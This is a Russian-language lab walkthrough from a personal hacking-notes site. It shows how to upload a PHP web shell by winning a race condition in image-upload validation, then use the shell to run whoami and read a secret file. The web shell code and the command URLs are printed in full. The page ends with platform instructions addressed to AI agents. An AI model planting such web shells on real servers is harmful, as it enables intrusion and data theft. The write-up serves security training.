> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/file-upload/web-shell-via-race-condition.md).

# Веб-оболочка через состояние гонки

### Загрузка веб-шела через состояние гонки

**Цель лабораторной работы**

В этой лабораторной работе есть функция загрузки изображений с, по-видимому, надёжной проверкой. / Однако эту проверку можно обойти, используя **состояние гонки** во время обработки файла.

Цель — загрузить PHP-веб-шелл, а затем использовать его, чтобы прочитать конфиденциальный файл:/ `/home/carlos/secret`.

**Контекст**

* Возможна аутентификация с помощью: `wiener:peter`
* Только **JPG** и **PNG** файлы разрешены
* Ответ сервера занимает около **1–2 секунд**, что указывает на уязвимую асинхронную обработку

**Первая попытка**

Попробуйте загрузить классический PHP-файл:

```php
?php
system($_GET['cmd']);
?>
```

Результат:

* Отказ сервера
* Сообщение, указывающее, что принимаются только файлы JPG и PNG

{% hint style="danger" %}
Извините, разрешены только файлы JPG и PNG. Извините, при загрузке вашего файла произошла ошибка.
{% endhint %}

**Ключевое наблюдение**

Один **заметный промежуток времени** существует между:

1. Когда файл записывается на диск
2. Когда проверка завершена и файл, возможно, удалён

Этот промежуток времени открывает дверь для состояния гонки.

<figure><img src="/files/80d3c39f95a258c8d75a9eae4a692fc4bb2dd32a" alt=""><figcaption></figcaption></figure>

**Принцип работы состояния гонки**

Запустите атаку с помощью **Intruder** (или эквивалентного инструмента)

* Повторяющаяся и быстрая отправка запроса на скачивание
* Нулевой или повторяющийся полезный нагрузочный файл, запуск в цикле

<figure><img src="/files/0ec573dd8357c410f7161ebc8421b7b5a6a780ca" alt=""><figcaption></figcaption></figure>

Пока сервер обрабатывает загрузки:

* Постоянно обновляйте URL предполагаемого файла

```bash
/files/avatars/cmd.php?cmd=whoami
```

В какой-то момент файл становится доступен **до** проверка делает его недействительным

* Затем PHP-код интерпретируется сервером

<figure><img src="/files/966133ea9e836cac6c6306dc58fce6fd410e4e05" alt=""><figcaption></figcaption></figure>

**Эксплуатация веб-шела**

После выполнения вы можете прочитать секретный файл:

```bash
/files/avatars/cmd.php?cmd=cat /home/carlos/secret
```

<figure><img src="/files/bd36073df315ac5af2bd6bab7e565f28a1d7d95d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/file-upload/web-shell-via-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
